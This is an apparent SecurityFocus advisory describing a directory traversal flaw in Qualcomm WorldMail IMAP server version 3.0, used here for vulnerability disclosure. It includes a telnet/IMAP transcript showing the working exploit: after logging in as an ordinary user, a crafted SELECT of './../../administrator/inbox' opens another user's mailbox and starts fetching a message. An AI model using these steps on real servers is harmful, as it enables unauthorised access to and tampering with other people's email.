source: https://www.securityfocus.com/bid/15488/info

Qualcomm Worldmail server is prone to a directory traversal vulnerability.

Successful exploitation could allow an attacker to gain access to files owned by other users of the application.

Sensitive information may be obtained and modified in this manner.

Worldmail server version 3.0 is vulnerable; other versions may also be affected. 

c:\> telnet 1.2.3.4 143

* OK WorldMail IMAP4 Server 6.1.19.0 ready
1 login user1 user1
1 OK LOGIN completed

2 select /inbox
* 0 EXISTS
* OK [UNSEEN 0]
2 OK [READ-WRITE] opened /inbox

2 select ./../../administrator/inbox
* 1 EXISTS
* OK [UNSEEN 1] Message 1 is first unseen
2 OK [READ-WRITE] opened ./../../administrator/inbox

2 fetch 1 (RFC822.TEXT)
* 1 FETCH (RFC822.TEXT {131}